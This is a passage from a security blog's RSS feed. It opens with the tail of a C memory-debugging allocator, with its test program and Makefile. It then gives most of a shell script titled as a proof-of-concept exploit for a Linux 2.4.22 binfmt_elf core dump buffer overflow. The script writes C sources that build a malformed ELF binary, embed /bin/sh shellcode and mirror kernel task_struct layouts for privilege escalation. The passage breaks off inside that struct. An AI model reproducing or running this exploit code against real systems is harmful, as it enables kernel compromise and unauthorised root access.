(PAGE_SIZE-1);&nbsp;&nbsp;&nbsp; /* padding (stuff1 + stuff2)*/<br>
#else /* !GHC_CRASH_MODE */<br>
&nbsp;&nbsp;&nbsp; /**<br>
&nbsp;&nbsp;&nbsp; &nbsp;* memory map: | magic | user length | user
length | user space | magic | */<br>
&nbsp;&nbsp;&nbsp; realsize = size + 2*sizeof(magic_stamp) +
2*sizeof(int);<br>
#endif<br>
<br>
&nbsp;&nbsp;&nbsp; switch (mode) {<br>
&nbsp;&nbsp;&nbsp; case AMODE_MALLOC:<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; assert(init_flag);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; pmem = pmalloc(realsize);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
&nbsp;&nbsp;&nbsp; case AMODE_SBRK:<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; pmem = sbrk(realsize);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (pmem == (void *) -1)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; pmem =
NULL;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
&nbsp;&nbsp;&nbsp; default:<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fprintf(stderr, "Unkonwn
ALLOC_MODE [%d]\n", mode);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; exit(-1);<br>
&nbsp;&nbsp;&nbsp; }<br>
#ifdef GHC_DEBUG<br>
&nbsp;&nbsp;&nbsp; printf(" ** GHC real malloc: %p\n", pmem);<br>
#endif<br>
<br>
&nbsp;&nbsp;&nbsp; if (pmem) {<br>
#ifdef GHC_CRASH_MODE<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; void *trap;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; trap = (void *) ((unsigned
long)(pmem + realsize - PAGE_SIZE) &amp; ~(PAGE_SIZE-1));<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ptr = trap - size;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; *(unsigned long
*)(ptr-sizeof(unsigned long)) = (unsigned long) pmem;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; *(unsigned int
*)(ptr-sizeof(unsigned long)-sizeof(unsigned int)) = size;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (mprotect(trap, PAGE_SIZE,
PROT_NONE)) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
perror("mprotect");<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
exit(-1);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br>
#else /* !GHC_CRASH_MODE */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; /* set head stamp */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; memcpy(pmem,
&amp;magic_stamp, sizeof(magic_stamp));<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; *(int *) ((char *) pmem +
sizeof(magic_stamp)) = (int) size;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; *(int *) ((char *) pmem +
sizeof(magic_stamp) + sizeof(int)) = (int) size;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; /* get user chunk pointer
*/<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ptr =
get_user_from_head(pmem);<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; /* set tail stamp */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; memcpy((char *) ptr + size,
&amp;magic_stamp, sizeof(magic_stamp));<br>
#endif<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; return ptr;<br>
}<br>
<br>
void *malloc(size_t size)<br>
{<br>
#ifdef GHC_DEBUG<br>
&nbsp;&nbsp;&nbsp; printf("** GHC malloc\n");<br>
#endif<br>
&nbsp;&nbsp;&nbsp; if (init_flag == 0) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
safe_hc_init();&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; return __ghc_alloc(size, AMODE_MALLOC);<br>
}<br>
<br>
static void __ghc_free(void *ptr)<br>
{<br>
&nbsp;&nbsp;&nbsp; void *pmem;<br>
<br>
#ifdef GHC_DEBUG<br>
&nbsp;&nbsp;&nbsp; printf("** __ghc_free\n");<br>
#endif<br>
&nbsp;&nbsp;&nbsp; if (!ptr) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; hc_log("[** warning **]\t
free NULL pointer");<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
#ifdef GHC_CRASH_MODE<br>
&nbsp;&nbsp;&nbsp; void *trap;<br>
&nbsp;&nbsp;&nbsp; int size = get_user_size(ptr);<br>
<br>
&nbsp;&nbsp;&nbsp; trap = ptr + size;<br>
&nbsp;&nbsp;&nbsp; if (mprotect(trap, PAGE_SIZE,
PROT_READ|PROT_WRITE)) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; perror("mprotect");<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; exit(-1);<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; pmem = *(void **) (ptr - sizeof(unsigned
long));<br>
#else<br>
&nbsp;&nbsp;&nbsp; /* get head pointer */<br>
&nbsp;&nbsp;&nbsp; pmem = get_head_from_user(ptr);<br>
&nbsp;&nbsp;&nbsp; if (memcheck(pmem) != 0)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return;<br>
#endif<br>
<br>
#ifdef GHC_DEBUG<br>
&nbsp;&nbsp;&nbsp; printf(" ** GHC real free: %p\n", pmem);<br>
#endif<br>
&nbsp;&nbsp;&nbsp; pfree(pmem);<br>
}<br>
<br>
void free(void *ptr)<br>
{<br>
#ifdef GHC_DEBUG<br>
&nbsp;&nbsp;&nbsp; printf("** GHC free\n");<br>
#endif<br>
&nbsp;&nbsp;&nbsp; if (init_flag == 0) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (!hc_lock) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
fprintf(stderr, "** PANIC PRELOAD - free **\n");<br>
#ifdef GHC_DEBUG<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
exit(-1);<br>
#endif<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; __ghc_free(ptr);<br>
}<br>
<br>
void *realloc(void *ptr, size_t size)<br>
{<br>
&nbsp;&nbsp;&nbsp; void *new;<br>
&nbsp;&nbsp;&nbsp; size_t oldsize;<br>
<br>
#ifdef GHC_DEBUG<br>
&nbsp;&nbsp;&nbsp; printf("** GHC realloc\n");<br>
#endif<br>
&nbsp;&nbsp;&nbsp; if (init_flag == 0) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fprintf(stderr, "** PANIC
PRELOAD - realloc **\n");<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return NULL;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; if (!ptr) /* see man realloc */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return __ghc_alloc(size,
AMODE_MALLOC); &nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; if (!size) { /* see man realloc */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; __ghc_free(ptr);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return NULL;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; new = __ghc_alloc(size, AMODE_MALLOC);<br>
&nbsp;&nbsp;&nbsp; if (new) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; oldsize =
get_user_size(ptr);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; memcpy(new, ptr,
(oldsize&lt;size)?oldsize:size);&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; __ghc_free(ptr);<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; return new;<br>
}<br>
<br>
void *calloc(size_t nmemb, size_t size)<br>
{<br>
&nbsp;&nbsp;&nbsp; void *p;<br>
&nbsp;&nbsp;&nbsp; size_t len;<br>
&nbsp;&nbsp;&nbsp; int mode;<br>
<br>
#ifdef GHC_DEBUG<br>
&nbsp;&nbsp;&nbsp; printf("** GHC calloc\n");<br>
#endif<br>
&nbsp;&nbsp;&nbsp; len = nmemb*size;<br>
&nbsp;&nbsp;&nbsp; mode = (!init_flag &amp;&amp; hc_lock)?
AMODE_SBRK : AMODE_MALLOC;<br>
<br>
&nbsp;&nbsp;&nbsp; if (mode == AMODE_MALLOC) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
safe_hc_init();&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; p = __ghc_alloc(len, mode);<br>
&nbsp;&nbsp;&nbsp; if (p)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; bzero(p, len); /* see man
calloc */<br>
<br>
&nbsp;&nbsp;&nbsp; return p;<br>
}<br>
<br>
/* wait a moment ... */<br>
/*<br>
void hc_log(...)<br>
{<br>
<br>
}<br>
*/<br>
__EOF__<br>
<br>
## test.c<br>
cat &lt;&lt; __EOF__ &gt; test.c<br>
<br>
#include &lt;stdlib.h&gt;<br>
#include &lt;string.h&gt;<br>
#include &lt;stdio.h&gt;<br>
<br>
int main(void)<br>
{<br>
&nbsp;&nbsp;&nbsp; void *p = malloc(16);<br>
&nbsp;&nbsp;&nbsp; void *q = malloc(16);<br>
<br>
&nbsp;&nbsp;&nbsp; bzero(p, 16);<br>
&nbsp;&nbsp;&nbsp; bzero(p, 18);<br>
#ifndef GHC_CRASH_MODE<br>
&nbsp;&nbsp;&nbsp; *(char *) (p - 9) = 2;<br>
#endif<br>
<br>
&nbsp;&nbsp;&nbsp; q = realloc(q, 32);<br>
<br>
&nbsp;&nbsp;&nbsp; free(q);<br>
&nbsp;&nbsp;&nbsp; free(p);<br>
&nbsp;&nbsp;&nbsp; free(NULL);<br>
&nbsp;&nbsp;&nbsp; return 0;<br>
}<br>
__EOF__<br>
<br>
## Makefile<br>
cat &lt;&lt; __EOF__ &gt; Makefile<br>
#MODE=-DGHC_CRASH_MODE<br>
CFLAG= -Wall -O2 -DNDEBUG \$(MODE)<br>
#CFLAG= -DGHC_DEBUG -ggdb \$(MODE)<br>
CC=gcc<br>
<br>
all: test so<br>
test: test.c<br>
&nbsp;&nbsp;&nbsp; \$(CC) \$&lt; -o test \$(CFLAG)<br>
so: ghc.c<br>
&nbsp;&nbsp;&nbsp; \$(CC) -shared -o ghc.so -fPIC \$&lt; -nostdlib
-ldl \$(CFLAG)<br>
<br>
clean:<br>
&nbsp;&nbsp;&nbsp; rm -f *.o ghc.so test<br>
__EOF__</p>

]]></description><guid>http://www.i170.com/Article/38516</guid><trackback:ping>http://www.i170.com/Article/38516/trackback</trackback:ping><comments>http://www.i170.com/Article/38516#comment</comments><wfw:commentRss>http://www.i170.com/Article/38516/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/27521</link><title><![CDATA[Linux binfmt_elf core dump buffer overflow (PoC)]]></title><author>grip2</author><category>网络安全,Linux Kernel</category><pubDate>Fri, 09 Jun 2006 13:46:38  +0800</pubDate><description><![CDATA[#!/bin/bash<br>
#<br>
####################################################<br>
#<br>
# Linux binfmt_elf core dump buffer overflow (PoC)<br>
# (Kernel-2.4.22)<br>
#<br>
# 2006-04-30<br>
# Written by :<br>
# &nbsp;&nbsp; &nbsp;grip2 &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&lt;gript2@hotmail.com&gt;<br>
# &nbsp;&nbsp; &nbsp;airsupply &nbsp;&nbsp;
&nbsp;&lt;airsupply@0x557.org&gt;<br>
#<br>
####################################################<br>
<br>
## overflow.c<br>
cat &lt;&lt; __EOF__ &gt; overflow.c<br>
/*<br>
&nbsp;* Written by :<br>
&nbsp;*&nbsp;&nbsp; &nbsp;grip2 &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&lt;gript2@hotmail.com&gt;<br>
&nbsp;*&nbsp;&nbsp; &nbsp;airsupply &nbsp;&nbsp;
&nbsp;&lt;airsupply@0x557.org&gt;<br>
&nbsp;*/<br>
<p class="partingline">[separator]</p>
<br>
#include &lt;stdio.h&gt;<br>
#include &lt;stdlib.h&gt;<br>
#include &lt;errno.h&gt;<br>
#include &lt;unistd.h&gt;<br>
<br>
#include &lt;sys/time.h&gt;<br>
#include &lt;sys/resource.h&gt;<br>
<br>
#include &lt;asm/page.h&gt;<br>
<br>
<br>
int main(int argc, char *argv[])<br>
{<br>
&nbsp;&nbsp; &nbsp;int esp;<br>
&nbsp;&nbsp; &nbsp;struct rlimit rl;<br>
&nbsp;&nbsp; &nbsp;int res;<br>
&nbsp;&nbsp; &nbsp;int i;<br>
&nbsp;&nbsp; &nbsp;char *env[10];<br>
&nbsp;&nbsp; &nbsp;char page[PAGE_SIZE];<br>
<br>
&nbsp;&nbsp; &nbsp;__asm__("movl %%esp, %0" : : "m"(esp));<br>
&nbsp;&nbsp; &nbsp;printf("arg_start: %p arg_end: %p esp:
%p\n",<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;argv[0],
argv[argc-1]+strlen(argv[argc-1]), esp);<br>
<br>
&nbsp;&nbsp; &nbsp;rl.rlim_cur = RLIM_INFINITY;<br>
&nbsp;&nbsp; &nbsp;rl.rlim_max = RLIM_INFINITY;<br>
&nbsp;&nbsp; &nbsp;res = setrlimit(RLIMIT_CORE, &amp;rl);<br>
&nbsp;&nbsp; &nbsp;if (res != 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("setrlimit");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;memset(page, 'A', sizeof(page));<br>
&nbsp;&nbsp; &nbsp;page[sizeof(page)-1] = 0;<br>
<br>
&nbsp;&nbsp; &nbsp;for (i = 0; i &lt; 9; i++)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;env[i] = page;<br>
&nbsp;&nbsp; &nbsp;env[i] = 0;<br>
<br>
&nbsp;&nbsp; &nbsp;if (strcmp(argv[0], "SELF2") == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;char *av[] = {"badelf", page,
0};<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;execve("badelf", av,
NULL);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;/* execve("test_elf", av,
NULL); */<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("execve: badelf");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;char *av[] = {"SELF2", 0};<br>
&nbsp;&nbsp; &nbsp;execve(argv[0], av, env);<br>
<br>
&nbsp;&nbsp; &nbsp;perror("execve self:");<br>
&nbsp;&nbsp; &nbsp;goto err;<br>
<br>
&nbsp;&nbsp; &nbsp;return 0;<br>
err:<br>
&nbsp;&nbsp; &nbsp;return 1;<br>
}<br>
__EOF__<br>
<br>
## mkbadelf.c<br>
cat &lt;&lt; __EOF__ &gt; mkbadelf.c<br>
/*<br>
&nbsp;* Written by grip2 &lt;gript2@hotmail.com&gt;<br>
&nbsp;*/<br>
<br>
#include &lt;elf.h&gt;<br>
#include &lt;fcntl.h&gt;<br>
#include &lt;sys/stat.h&gt;<br>
#include &lt;sys/mman.h&gt;<br>
#include &lt;stdio.h&gt;<br>
#include &lt;unistd.h&gt;<br>
#include &lt;string.h&gt;<br>
#include &lt;stdlib.h&gt;<br>
<br>
char sc[] =<br>
&nbsp;&nbsp;&nbsp;
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"<br>
&nbsp;&nbsp;&nbsp;
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"<br>
&nbsp;&nbsp; "\x80\xe8\xdc\xff\xff\xff/bin/sh";<br>
<br>
extern test;<br>
__asm__ (<br>
"test:\n\t"<br>
&nbsp;&nbsp; &nbsp;"cli&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"hlt&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"movl \$0xbffff000, %eax&nbsp;&nbsp;
&nbsp;\n\t"<br>
//&nbsp;&nbsp; &nbsp;"movl \$0x42, (%eax)&nbsp;&nbsp;
&nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"int3&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;);<br>
<br>
int main()<br>
{<br>
#define ENTRY_OFFSET 4096<br>
&nbsp;&nbsp; &nbsp;int fd = -1;<br>
&nbsp;&nbsp; &nbsp;Elf32_Ehdr ehdr;<br>
&nbsp;&nbsp; &nbsp;Elf32_Phdr phdr;<br>
&nbsp;&nbsp; &nbsp;Elf32_Shdr shdr;<br>
&nbsp;&nbsp; &nbsp;int i;<br>
&nbsp;&nbsp; &nbsp;unsigned char code_align[4096];<br>
&nbsp;&nbsp; &nbsp;unsigned char data_align[0x7000];<br>
<br>
&nbsp;&nbsp; &nbsp;fd = open("badelf", O_WRONLY|O_CREAT|O_TRUNC,
S_IRWXU);<br>
&nbsp;&nbsp; &nbsp;if (fd == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("open badelf");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;memset(&amp;ehdr, 0, sizeof(ehdr));<br>
<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_MAG0] = 0x7f;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_MAG1] = 'E';<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_MAG2] = 'L';<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_MAG3] = 'F';<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_CLASS] = ELFCLASS32;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_DATA] = ELFDATA2LSB;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_VERSION] = EV_CURRENT;<br>
<br>
&nbsp;&nbsp; &nbsp;ehdr.e_type = ET_EXEC ;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_machine = EM_386;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_version = EV_CURRENT;<br>
<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ehsize = sizeof(Elf32_Ehdr);<br>
&nbsp;&nbsp; &nbsp;ehdr.e_phentsize = sizeof(Elf32_Phdr);<br>
&nbsp;&nbsp; &nbsp;ehdr.e_shentsize = sizeof(Elf32_Shdr);<br>
<br>
&nbsp;&nbsp; &nbsp;ehdr.e_phnum = 2;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_phoff = sizeof(Elf32_Ehdr);<br>
&nbsp;&nbsp; &nbsp;ehdr.e_shnum = 0;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_shoff = 0;<br>
<br>
&nbsp;&nbsp; &nbsp;ehdr.e_shstrndx = 0;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_flags = 0;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_entry = 0x08480000 + ENTRY_OFFSET;<br>
<br>
&nbsp;&nbsp; &nbsp;write(fd, &amp;ehdr, sizeof(ehdr)); /* Elf
header */<br>
<br>
&nbsp;&nbsp; &nbsp;phdr.p_type = PT_LOAD;<br>
&nbsp;&nbsp; &nbsp;phdr.p_offset = 0;<br>
&nbsp;&nbsp; &nbsp;phdr.p_vaddr = 0x08480000;<br>
&nbsp;&nbsp; &nbsp;phdr.p_paddr = phdr.p_vaddr;<br>
&nbsp;&nbsp; &nbsp;phdr.p_filesz = ENTRY_OFFSET +
sizeof(code_align);<br>
&nbsp;&nbsp; &nbsp;phdr.p_memsz = ENTRY_OFFSET +
sizeof(code_align);<br>
&nbsp;&nbsp; &nbsp;phdr.p_flags = PF_R|PF_X|PF_W;&nbsp;&nbsp;
&nbsp;<br>
&nbsp;&nbsp; &nbsp;phdr.p_align = 0x1000;<br>
<br>
&nbsp;&nbsp; &nbsp;write(fd, &amp;phdr, sizeof(phdr)); /* Phdr
header - PT_LOAD */<br>
<br>
&nbsp;&nbsp; &nbsp;phdr.p_type = PT_LOAD;<br>
&nbsp;&nbsp; &nbsp;phdr.p_offset =&nbsp; ENTRY_OFFSET +
sizeof(code_align);<br>
&nbsp;&nbsp; &nbsp;phdr.p_vaddr = 0xbfff8000;<br>
&nbsp;&nbsp; &nbsp;phdr.p_paddr = phdr.p_vaddr;<br>
&nbsp;&nbsp; &nbsp;phdr.p_filesz =sizeof(data_align);<br>
&nbsp;&nbsp; &nbsp;phdr.p_memsz = sizeof(data_align);<br>
&nbsp;&nbsp; &nbsp;phdr.p_flags = 0;&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;phdr.p_align = 0x1000;<br>
<br>
&nbsp;&nbsp; &nbsp;write(fd, &amp;phdr, sizeof(phdr)); /* Phdr
header - PT_LOAD */<br>
<br>
&nbsp;&nbsp; &nbsp;lseek(fd, ENTRY_OFFSET, SEEK_SET);<br>
&nbsp;&nbsp; &nbsp;memset(code_align, '\x90',
sizeof(code_align));<br>
#if 1<br>
&nbsp;&nbsp; &nbsp;//unsigned char int3 = 0xcc;<br>
&nbsp;&nbsp; &nbsp;//memcpy(code_align, &amp;int3,
sizeof(int3));<br>
&nbsp;&nbsp; &nbsp;memcpy(code_align, &amp;test, 32);<br>
#else<br>
&nbsp;&nbsp; &nbsp;memcpy(code_align, sc, sizeof(sc));<br>
#endif<br>
&nbsp;&nbsp; &nbsp;write(fd, code_align, sizeof(code_align)); /*
part of TEXT Segment */<br>
<br>
&nbsp;&nbsp; &nbsp;memset(data_align, 'A', sizeof(data_align));<br>
&nbsp;&nbsp; &nbsp;lseek(fd, ENTRY_OFFSET + sizeof(code_align),
SEEK_SET);<br>
&nbsp;&nbsp; &nbsp;write(fd, data_align, sizeof(data_align)); /*
DATA Segment */<br>
<br>
&nbsp;&nbsp; &nbsp;close(fd);<br>
&nbsp;&nbsp; &nbsp;return 0;<br>
err:<br>
&nbsp;&nbsp; &nbsp;if (fd != -1)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;close(fd);<br>
&nbsp;&nbsp; &nbsp;return -1;<br>
}<br>
__EOF__<br>
<br>
## mklcall.c<br>
cat &lt;&lt; __EOF__ &gt; mklcall.c<br>
/*<br>
&nbsp;* Written by :<br>
&nbsp;*&nbsp;&nbsp; &nbsp;grip2 &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&lt;gript2@hotmail.com&gt;<br>
&nbsp;*&nbsp;&nbsp; &nbsp;airsupply &nbsp;&nbsp;
&nbsp;&lt;airsupply@0x557.org&gt;<br>
&nbsp;*/<br>
<br>
#include &lt;elf.h&gt;<br>
#include &lt;fcntl.h&gt;<br>
#include &lt;sys/stat.h&gt;<br>
#include &lt;sys/mman.h&gt;<br>
#include &lt;stdio.h&gt;<br>
#include &lt;unistd.h&gt;<br>
#include &lt;linux/unistd.h&gt;<br>
#include &lt;string.h&gt;<br>
#include &lt;stdlib.h&gt;<br>
#include &lt;signal.h&gt;<br>
<br>
<br>
#define g__syscall_return(type, res) \<br>
do { \<br>
&nbsp;&nbsp;&nbsp; if ((unsigned long)(res) &gt;= (unsigned
long)(-125)) { \<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; res = -1; \<br>
&nbsp;&nbsp;&nbsp; } \<br>
&nbsp;&nbsp;&nbsp; return (type) (res); \<br>
} while (0)<br>
<br>
#define g_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3)
\<br>
type g_##name(type1 arg1,type2 arg2,type3 arg3) \<br>
{ \<br>
long __res; \<br>
__asm__ volatile ("int \$0x80" \<br>
&nbsp;&nbsp;&nbsp; : "=a" (__res) \<br>
&nbsp;&nbsp;&nbsp; : "0" (__NR_##name),"b" ((long)(arg1)),"c"
((long)(arg2)), \<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "d"
((long)(arg3))); \<br>
g__syscall_return(type,__res); \<br>
}<br>
<br>
static inline g_syscall3(int, write, int, fd, const void *, buf,
off_t, count)<br>
<br>
char sc[] =<br>
&nbsp;&nbsp;&nbsp;
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"<br>
&nbsp;&nbsp;&nbsp;
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"<br>
&nbsp;&nbsp; "\x80\xe8\xdc\xff\xff\xff/bin/sh";<br>
<br>
void exploit_end(void);<br>
<br>
struct list_head {<br>
&nbsp;&nbsp; &nbsp;struct list_head *next, *prev;<br>
};<br>
<br>
struct task_struct {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * offsets of
these are hardcoded elsewhere - touch with care<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; volatile long
state;&nbsp;&nbsp;&nbsp; /* -1 unrunnable, 0 runnable, &gt;0
stopped */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
flags;&nbsp;&nbsp;&nbsp; /* per process flags, defined below */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int
sigpending;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned
long&nbsp; addr_limit;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*
thread address space:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0-0xBFFFFFFF for user-thead<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0-0xFFFFFFFF for kernel-thread<br>
